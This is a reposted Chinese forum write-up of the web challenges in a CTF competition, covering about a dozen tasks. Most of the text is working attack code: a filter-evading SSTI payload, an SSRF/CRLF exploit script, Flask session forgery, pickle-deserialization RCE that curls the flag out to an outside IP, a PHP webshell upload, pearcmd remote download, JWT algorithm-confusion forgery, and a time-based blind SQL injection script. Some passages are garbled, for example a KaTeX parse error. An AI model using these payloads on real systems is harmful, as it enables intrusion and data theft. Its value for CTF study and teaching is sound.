tsx81429 发表于 2025-1-3 16:48:02

第十五届巅峰极客wp_web

第十五届巅峰极客wp_web部分



队伍总排名第13名,感谢好友pwn✌YX-hueimie带飞
Problem_On_My_Web

/forms路由存在xss毛病
https://img-blog.csdnimg.cn/img_convert/0cad3cdcc247ff003089a4b106ae01ac.png
此时Alert text:123
https://img-blog.csdnimg.cn/img_convert/be0b0147e34c478066445c2964121301.png
猜测cookie为flag
测试留言:
https://img-blog.csdnimg.cn/img_convert/c8382072265a08c4e67eb68df71f6018.png
https://img-blog.csdnimg.cn/img_convert/a4c1812c0f66af9c3a6c46e9f049d9f4.png
Can_you_Pass_Me

ssti模板注入
过滤内容:
{{,set,__globals__,os,popen,read,flag,+,base64,/等
使用嵌套的with语句预处理命令字符串
通过join过滤器拼接被过滤的关键字
使用八进制编码绕过flag关键字
得出payload
{% with p = (('po','pen')|join) %}
{% with r = (('re','ad')|join) %}
{% print (url_for|attr(('__glo','bals__')|join)).pop(('o','s')|join)|attr(p)('cat $(printf "\\57\\146\\154\\141\\147") | rev')|attr(r)() %}
{% endwith %}
{% endwith %}
运行之后
https://img-blog.csdnimg.cn/img_convert/92c1aa79b2864f2038d0b7ee21bb044d.png
尝试cat app.py发现会对输出的内容做过滤 将内容进行base64编码,大概rev反转
cat $(printf “\57\146\154\141\147”)|rev
https://img-blog.csdnimg.cn/img_convert/ebafbc9113abd65ea1b2fb4a13ad4c38.png
再反转:
┌──(root?ser724909388411)-[~]
└─# echo "}fa673cac9363-3f48-c154-db4b-0e190bde{CYS" | rev
SYC{edb091e0-b4bd-451c-84f3-3639cac376af}
ez_SSRF

dirsearch -u 80-bbd25b5c-857e-4319-802e-22386c960ee7.challenge.ctfplus.cn
得www.zip
h4d333333.php

<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    echo 233;
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
      "location"=>$location,
      "uri"=>"hahaha",
      "login"=>"guest",
      "password"=>"gueeeeest!!!!",
      "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}
calculator.php
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
      return 1;
    }else{
      return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
    if (check($auth)===2) {
      if(!preg_match('/^+$/', $expression)) {
            die("Invalid expression");
      }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
      }
    }else{
      $result=eval("return $expression;");
      file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}
分析:
ssrf毛病:
h4d333333.php文件答应我们通过location参数指定一个URL,然后使用SoapClient类访问该URL。
通过将location参数设置为http://127.0.0.1/calculator.php,我们可以让服务器请求其本地的calculator.php文件。
CRLF注入:
user参数的值被用作SoapClient的user_agent,这意味着我们可以通过CRLF注入来伪造HTTP请求头。
通过在user参数中注入CRLF,我们可以插入自界说的HTTP头,例如Authorization,以便通过calculator.php中的认证检查。
通过CRLF注入伪造Authorization头,使用题目中提供的用户名和密码进行认证。
实行点:calculator.php中答应我们通过expression参数通报一个数学表达式,并使用eval函数实行。
exp:
import requests
from base64 import b64encode

# 目标URL
url = "http://80-bbd25b5c-857e-4319-802e-22386c960ee7.challenge.ctfplus.cn/h4d333333.php"

# 构造Authorization头
username = "aaaaaaaaaaaadmin"
password = "i_want_to_getI00_inMyT3st"
auth = f"{username}:{password}"
auth_encoded = b64encode(auth.encode()).decode()

# 构造POST数据
post_data = {
    "user": f"film\r\nAuthorization: Basic {auth_encoded}\r\nContent-Length: 39\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nexpression=system('cat /flag > aaaa.txt');\r\n"
}

# 发送GET请求以设置location
get_params = {
    "location": "http://127.0.0.1/calculator.php"
}

# 发送请求
response = requests.post(url, params=get_params, data=post_data)

# 打印响应
print(response.text)
再访问aaaa.txt获取flag
py_game

注册登录
https://img-blog.csdnimg.cn/img_convert/e7ce259dc72d1e5e43a5b98a6c4a7d25.png
发现flask尝试flaski的session伪造(https://www.cnblogs.com/meraklbz/p/18280537)
flask-unsign --unsign --cookie “eyJfZmxhc2hlcyI6W3siIHQiOlsic3VjY2VzcyIsIlx1NzY3Ylx1NWY1NVx1NjIxMFx1NTI5ZiJdfV0sInVzZXJuYW1lIjoiYWRtaW4xIn0.Zzs8Tw.9DFFwMpJwI5t4Nx1idVCj2C-_Jw”
secret_key破解session:得到’a123456’
flask-unsign --sign --secret “a123456” --cookie “{‘_flashes’: [(‘success’, ‘登录成功’)], ‘username’: ‘admin’}”
伪造admin登录
得到源码在线反编译pyc
# uncompyle6 version 3.9.2
# Python bytecode version base 3.6 (3379)
# Decompiled from: Python 3.8.10 (default, Sep 11 2024, 16:02:53)
#
# Embedded file name: ./tempdata/1f9adc12-c6f3-4a8a-9054-aa3792d2ac2e.py
# Compiled at: 2024-11-01 17:37:26
# Size of source mod 2**32: 5558 bytes
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = "a123456"
app.config["xml_data"] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

    def __init__(self, username, password):
      self.username = username
      self.password = password

    def check(self, data):
      return self.username == data["username"] and self.password == data["password"]


admin = User("admin", "123456j1rrynonono")
Users =

def update(src, dst):
    for k, v in src.items():
      if hasattr(dst, "__getitem__"):
            if dst.get(k):
                if isinstance(v, dict):
                  update(v, dst.get(k))
            dst = v
      elif hasattr(dst, k) and isinstance(v, dict):
            update(v, getattr(dst, k))
      else:
            setattr(dst, k, v)


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "POST":
      username = request.form["username"]
      password = request.form["password"]
      for u in Users:
            if u.username == username:
                flash("用户名已存在", "error")
                return redirect(url_for("register"))

      new_user = User(username, password)
      Users.append(new_user)
      flash("注册成功!请登录", "success")
      return redirect(url_for("login"))
    else:
      return render_template("register.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "POST":
      username = request.form["username"]
      password = request.form["password"]
      for u in Users:
            if u.check({'username':username,'password':password}):
                session["username"] = username
                flash("登录成功", "success")
                return redirect(url_for("dashboard"))

      flash("用户名或密码错误", "error")
      return redirect(url_for("login"))
    else:
      return render_template("login.html")


@app.route("/play", methods=["GET", "POST"])
def play():
    if "username" in session:
      with open("/app/templates/play.html", "r", encoding="utf-8") as file:
            play_html = file.read()
      return play_html
    else:
      flash("请先登录", "error")
      return redirect(url_for("login"))


@app.route("/admin", methods=["GET", "POST"])
def admin():
    if "username" in session:
      if session["username"] == "admin":
            return render_template("admin.html", username=(session["username"]))
    flash("你没有权限访问", "error")
    return redirect(url_for("login"))


@app.route("/downloads321")
def downloads321():
    return send_file("./source/app.pyc", as_attachment=True)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/dashboard")
def dashboard():
    if "username" in session:
      is_admin = session["username"] == "admin"
      if is_admin:
            user_tag = "Admin User"
      else:
            user_tag = "Normal User"
      return render_template("dashboard.html", username=(session["username"]), tag=user_tag, is_admin=is_admin)
    else:
      flash("请先登录", "error")
      return redirect(url_for("login"))


@app.route("/xml_parse")
def xml_parse():
    try:
      xml_bytes = app.config["xml_data"].encode("utf-8")
      parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
      tree = etree.fromstring(xml_bytes, parser=parser)
      result_xml = etree.tostring(tree, pretty_print=True, encoding="utf-8", xml_declaration=True)
      return Response(result_xml, mimetype="application/xml")
    except etree.XMLSyntaxError as e:
      return str(e)


black_list = [
"__class__".encode(), "__init__".encode(), "__globals__".encode()]

def check(data):
    print(data)
    for i in black_list:
      print(i)
      if i in data:
            print(i)
            return False

    return True


@app.route("/update", methods=["POST"])
def update_route():
    if "username" in session:
      if session["username"] == "admin":
            if request.data:
                try:
                  if not check(request.data):
                        return ('NONONO, Bad Hacker', 403)
                  else:
                        data = json.loads(request.data.decode())
                        print(data)
                        if all("static" not in str(value) and "dtd" not in str(value) and "file" not in str(value) and "environ" not in str(value) for value in data.values()):
                            update(data, User)
                            return (jsonify({"message": "更新成功"}), 200)
                        return ('Invalid character', 400)
                except Exception as e:
                  return (
                     f"Exception: {str(e)}", 500)

      else:
            return ('No data provided', 400)
    else:
      flash("你没有权限访问", "error")
      return redirect(url_for("login"))


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80, debug=False)

update路由存在python的原型链污染
json.loads()会对数据进行unicode解码全部unicode绕过即可
https://img-blog.csdnimg.cn/img_convert/284887fe32c69ae9ff1b03274b58926f.png
https://img-blog.csdnimg.cn/img_convert/4018f9b596551c9211a08bf63d48a9b3.png
ez_python

注册登录访问/starven_s3cret得源码
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
      usname = request.form['username']
      passwd = request.form['password']

      if usname and passwd:
            heart_cookie = secrets.token_hex(32)
            response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
            response.set_cookie('heart', heart_cookie)
            return response

    returnrender_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    heart_cookie = request.cookies.get('heart')
    if not heart_cookie:
      return render_template('warning.html')

    if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
      statement = request.form['statement']

      try:
            heal_state = base64.b64decode(statement)
            print(heal_state)
            for i in black.blacklist:
                if i in heal_state:
                  return render_template('waf.html')
            pickle.loads(heal_state)
            res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
            flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
            os.system("echo " + flag + " > /flag")
            return res
      except Exception as e:
            print( e)
            pass
            return "Error!!!! give you hint: maybe you can view /starven_s3cret"

    return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
    return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
    return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)
wp:
import pickle
import base64
import requests

# 目标URL
url = "http://5000-3ce0e69f-74fe-4b5e-bbbd-fe04df5b6b58.challenge.ctfplus.cn/"


def register_and_get_cookie():
    # 注册获取cookie
    register_data = {
      'username': 'test',
      'password': 'test'
    }
    r = requests.post(f"{url}/register", data=register_data)
    return r.cookies.get('heart')


class Evil:
    def __reduce__(self):
      # 构造命令
      cmd = "curl 149.88.79.51:6226/`cat /flag`"
      return (eval, ("__import__('os').system('" + cmd + "')",))


def create_payload():
    # 生成payload
    evil_pickle = pickle.dumps(Evil())
    return base64.b64encode(evil_pickle).decode()


def exploit():
    # 1. 获取cookie
    heart_cookie = register_and_get_cookie()
    if not heart_cookie:
      print("Failed to get heart cookie")
      return

    # 2. 构造payload
    payload = create_payload()

    # 3. 发送攻击请求
    cookies = {'heart': heart_cookie}
    data = {'statement': payload}

    try:
      r = requests.post(f"{url}/login", cookies=cookies, data=data)
      print("Response:", r.text)
    except Exception as e:
      print("Error:", e)


if __name__ == "__main__":
    exploit()
无回显外带flag
https://img-blog.csdnimg.cn/img_convert/6f3893853e6f677838de35830206d2a4.png
baby_upload

非常简朴的一道文件上传题目只检测文件名中是否包罗了没有png,jpg字符
上传
a.png.php得到flag
<?php echo `cat /flag`; ?>
ez_include

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
    if(preg_match('/starven_secret.php/i', $_GET['file'])) {
      require_once $_GET['file'];
    }else{
      echo "还想非预期?";
    }
}
require_once 语句和 require 语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包罗过,假如是则不会再次包罗。
/proc/self指向当进步程的/proc/pid/,/proc/self/root/是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。
https://80-007ea987-3e44-4d3d-90af-48c2dc938fee.challenge.ctfplus.cn/?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
└─# echo "PD9waHANCiRzZWNyZXQgPSAiY29uZ3JhdHVsYXRpb24hIHlvdSBjYW4gZ290byAvbGV2ZWxsbGxsMi5waHAgdG8gY2FwdHVyZSB0aGUgZmxhZyEiOw0KPz4=" | base64 -d
<?php
$secret = "congratulation! you can goto /levelllll2.php to capture the flag!";
?>   
考察点pearcmd文件包罗
有过滤只能长途文件下载pearcmd
http://149.88.79.51:8000/starven_secret.php
先下载
syc=/usr/local/lib/php/pearcmd&+tmp&+http://149.88.79.51:8000/starven_secret.php&file=/usr/local/lib/php/pearcmd.php
https://img-blog.csdnimg.cn/img_convert/d9e6fc39484429275a4ae408ed2b0de1.png
https://img-blog.csdnimg.cn/img_convert/596ad6dd9b8fc9467f1274131fc85ace.png
然后在第一关处包罗
http://80-007ea987-3e44-4d3d-90af-48c2dc938fee.challenge.ctfplus.cn/?file=/tmp/tmp/pear/download/starven_secret.php
https://img-blog.csdnimg.cn/img_convert/924447def46fd1f9ef9ca303b80a7c8f.png
jwt_pickle

import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
      usname = request.form['username']
      passwd = request.form['password']

      if usname and passwd:
            heart_cookie = secrets.token_hex(32)
            response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
            response.set_cookie('heart', heart_cookie)
            return response

    returnrender_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    heart_cookie = request.cookies.get('heart')
    if not heart_cookie:
      return render_template('warning.html')

    if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
      statement = request.form['statement']

      try:
            heal_state = base64.b64decode(statement)
            print(heal_state)
            for i in black.blacklist:
                if i in heal_state:
                  return render_template('waf.html')
            pickle.loads(heal_state)
            res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
            flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
            os.system("echo " + flag + " > /flag")
            return res
      except Exception as e:
            print( e)
            pass
            return "Error!!!! give you hint: maybe you can view /starven_s3cret"

    return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
    return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
    return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)
# 签名使用RS256
token = jwt.encode(ss, privateKey, algorithm='RS256')
# 但验证时同时支持HS256和RS256
real = jwt.decode(token, publicKey, algorithms=['HS256', 'RS256'])发现签名和解密的算法不一样
# 1. 先注册两个账号获取两个合法的JWT token
# 2. 使用silentsignal/rsa_sign2n工具从两个token中提取公钥
docker run --rm -it portswigger/sig2n
https://img-blog.csdnimg.cn/img_convert/2fe2e65c83053c484a8b13dfbd47b03f.png
重新签名wp
import base64
import pickle
import os
import hmac
import hashlib
import json

# 1. 使用已知的RSA公钥
public_key_b64 = "LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQXQ4aUNvNEorQjhmeDNIaWxtcHQ0cTdpd0pUUFNDUHFlT2tHSUsvU1IxMFNKNmhyUE5ybW4KU3czQUszRkp0MW91V1ovNFBxUkIzS0QwOHZ4a01udnpqQWdwNW92MmljdUZVa0lva1NGZU1xd3hoVnJtdlovQwplTkpPK0ZwdXNUYWloTTdlMXl6M1lENlJCbnh3MjFQb2xDWVBkaDE2YU54VTRDeXNXNFFZTzJTVzZsWEFrZG1kCk9JYitsU2ZqYTRrNzdobEQwRm1Sb1Z6Wnc4eFpGTjdpaVJFUG1IcUQ2MEszWEw0ck8yMlBZQmdKM2F6SHh2THUKOCs3OThuenFtYXF5a0lPbjl2eFIyK3krZkRRcnBNblpCQUJ2aWk4SXpGdmgzWUgyT3BkQkhRWjhZZFE2ZzE5Wgpkb3JWNHllU2lBVzFadUNGTXJCUVEzNnBQWWRUQmwxZ0tRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K"
public_key = base64.b64decode(public_key_b64)

# 2. 构造恶意的pickle payload
class RCE:
    def __reduce__(self):
      return (eval, ("__import__('os').popen('cat /flag').read()",))

# 序列化payload
evil_obj = RCE()
evil_pickle = pickle.dumps(evil_obj)
evil_b64 = base64.b64encode(evil_pickle).decode()

# 3. 构造JWT header和payload
header = {
    "typ": "JWT",
    "alg": "HS256"
}

payload = {
    "username": "admin2",
    "password": "e10adc3949ba59abbe56e057f20f883e",
    "is_admin": True,
    "introduction": evil_b64,
    "exp": 1731998853
}

# 4. Base64编码header和payload
def base64url_encode(data):
    return base64.urlsafe_b64encode(json.dumps(data).encode()).rstrip(b'=').decode()

header_b64 = base64url_encode(header)
payload_b64 = base64url_encode(payload)

# 5. 计算签名
message = f"{header_b64}.{payload_b64}"
signature = hmac.new(
    public_key,
    message.encode(),
    hashlib.sha256
).digest()
signature_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=').decode()

# 6. 组合最终的token
token = f"{header_b64}.{payload_b64}.{signature_b64}"

print("生成的攻击token:")
print(token)

print("\n请求头:")
print(f"Cookie: token={token}")

# 保存token到文件
with open('token.txt', 'w') as f:
    f.write(token)
携带发送即可
100%的

检察js源代码
发现满意条件https://img-blog.csdnimg.cn/img_convert/687a3a96ac07b984ba9eaaf2daa81b6c.png
base64解码
SecretInDrivingSchool

f12检察源代码,的登岸地点提示:
账号为4-16位数字大概英笔墨母
密码格式为三位字母+@chengxing
猜测用户名admin ,爆破得密码SYC@chengxing
恣意代码实行
https://img-blog.csdnimg.cn/img_convert/1874777e7e634382fb8e199a63b469d7.png
https://img-blog.csdnimg.cn/img_convert/970a51c36f6ae05aa182a23cc5a60f71.png
rce_me

解题步调:
首先必要绕过第一个检查:
if (!preg_match("/start.*now/is", $_POST["start"])) {

if (strpos($_POST["start"], "start now") === false) {

​    die("Well, you haven't started.<br>");

}

}
可以使用数组绕过:
POST: start[]=anything
然后必要满意sha1和md5的比力:
sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&

(string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&

is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
由于md5(“Geekchallenge2024_bmKtL”)的值以0e开头,可以使用PHP弱类型比力,构造一个sha1值也是0e开头的数字字符串。
接下来必要绕过year的整数判定:
if (intval(KaTeX parse error: Expected 'EOF', got '&' at position 14: year) < 2024 &̲& intval(year + 1) > 2025)
这里可以使用整数溢出,构造一个很大的数字。
末了必要绕过purpose的检查:
if (preg_match("/.+?rce/ism", $purpose)) {

die("nonono");

}

if (stripos($purpose, "rce") === false) {

die("nonononono");

}
可以使用大小写绕过,如"rCe"。
完整的Payload:
POST:start[]=anything__2024.geekchallenge.ctf=10932435112
GET:?year=2147483647&purpose=rCe&code=system(‘cat /flag’);
funnySQL

过滤了or,sleep,handler,and,=,ascii,rand,format,%0a,空格,information_schema
页面无回显可以尝试盲注,报错注入这里只能时间盲注
information_schema被过滤这里由于数据库版本缘故原由这里只能爆破外貌数据库名,列名是我自己猜测的
这里的列名是猜测的为flag列名爆破不出来的由于information_schema被过滤,只能爆破外貌使用ysql.innodb_index_stats来绕过
个人常用的模板exp:
import requests
import time


def blind_injection(target_type="database"):
    url = "http://80-a822b9bf-19cd-4f68-91fc-7c882b931ed7.challenge.ctfplus.cn/"
    result = ""
    pos = 1
    table_index = 0

    while True:
      found = False
      for char in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-{}":
            # 根据目标类型选择payload
            if target_type == "database":
                payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/if((substr(database()/*!*//*!*/,{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(300000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
            elif target_type == "table":
                payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/IF((substr((select/*!*//*!*/table_name/*!*//*!*/from/*!*//*!*/mysql.innodb_index_stats/*!*//*!*/where/*!*//*!*/database_name/*!*/like/*!*/database()/*!*//*!*/limit/*!*//*!*/{table_index},1),{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(3000000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
            elif target_type == "column":
                payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/IF((substr((select/*!*//*!*/column_name/*!*//*!*/from/*!*//*!*/information_schema.columns/*!*//*!*/where/*!*//*!*/table_name/*!*/like/*!*/'Rea11ys3ccccccr3333t'/*!*//*!*/limit/*!*//*!*/{table_index},1),{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(3000000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"
            else:# flag
                payload = f"1'/*!*//*!*/&&/*!*//*!*/7641/*!*/like/*!*/IF((substr((select/*!*//*!*/flag/*!*//*!*/from/*!*//*!*/Rea11ys3ccccccr3333t/*!*//*!*/limit/*!*//*!*/0,1),{pos},1)/*!*/like/*!*/'{char}'),BENCHMARK(3000000,MD5(0x5370524d)),7641)/*!*//*!*/#/*!*/coEJ"

            params = {"username": payload}

            start_time = time.time()
            try:
                response = requests.get(url, params=params, timeout=10, proxies={
                  "http": "192.168.164.1:8083"
                })
                elapsed_time = time.time() - start_time

                if elapsed_time > 0.8:
                  result += char
                  found = True
                  if target_type == "database":
                        print(f"数据库名称位置 {pos}: 发现字符 '{char}'")
                  elif target_type == "table":
                        print(f"表 {table_index}, 位置 {pos}: 发现字符 '{char}'")
                  elif target_type == "column":
                        print(f"列 {table_index}, 位置 {pos}: 发现字符 '{char}'")
                  else:
                        print(f"Flag 位置 {pos}: 发现字符 '{char}'")
                  print(f"当前结果: {result}")
                  break

            except requests.exceptions.Timeout:
                result += char
                found = True
                if target_type == "database":
                  print(f"数据库名称位置 {pos}: 发现字符 '{char}' (超时)")
                elif target_type == "table":
                  print(f"表 {table_index}, 位置 {pos}: 发现字符 '{char}' (超时)")
                elif target_type == "column":
                  print(f"列 {table_index}, 位置 {pos}: 发现字符 '{char}' (超时)")
                else:
                  print(f"Flag 位置 {pos}: 发现字符 '{char}' (超时)")
                print(f"当前结果: {result}")
                break

            except requests.exceptions.RequestException as e:
                print(f"发生错误: {e}")
                continue

      if not found:
            if target_type == "database":
                print(f"\n数据库名称: {result}")
                return result
            elif target_type in ["table", "column"]:
                print(f"\n{target_type} {table_index} 完成: {result}")
                if not result:
                  break
                table_index += 1
                pos = 0
                result = ""
            else:
                print(f"\nFlag: {result}")
                return result

      pos += 1

    return result


def main():
    while True:
      print("\n[+] 请选择要执行的操作:")
      print("1. 爆破数据库名")
      print("2. 爆破表名")
      print("3. 爆破列名")
      print("4. 爆破flag")
      print("5. 执行所有操作")
      print("0. 退出")

      choice = input("\n请输入选项 (0-5): ").strip()

      if choice == "0":
            print("\n[+] 程序退出")
            break

      elif choice == "1":
            print("\n[+] 开始枚举数据库名称...")
            database = blind_injection("database")
            print(f"[+] 最终数据库名称: {database}")

      elif choice == "2":
            print("\n[+] 开始枚举表名...")
            tables = blind_injection("table")
            print(f"[+] 表名枚举完成")

      elif choice == "3":
            print("\n[+] 开始枚举列名...")
            columns = blind_injection("column")
            print(f"[+] 列名枚举完成")

      elif choice == "4":
            print("\n[+] 开始爆破flag...")
            flag = blind_injection("flag")
            print(f"[+] 最终flag: {flag}")

      elif choice == "5":
            print("\n[+] 开始执行所有操作...")

            print("\n[+] 开始枚举数据库名称...")
            database = blind_injection("database")
            print(f"[+] 最终数据库名称: {database}")

            print("\n[+] 开始枚举表名...")
            tables = blind_injection("table")
            print(f"[+] 表名枚举完成")

            print("\n[+] 开始枚举列名...")
            columns = blind_injection("column")
            print(f"[+] 列名枚举完成")

            print("\n[+] 开始爆破flag...")
            flag = blind_injection("flag")
            print(f"[+] 最终flag: {flag}")

      else:
            print("\n[-] 无效的选项,请重新输入")

      input("\n按回车键继续...")


if __name__ == "__main__":
    try:
      main()
    except KeyboardInterrupt:
      print("\n\n[+] 程序被用户中断")
    except Exception as e:
      print(f"\n[-] 发生错误: {e}")

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: 第十五届巅峰极客wp_web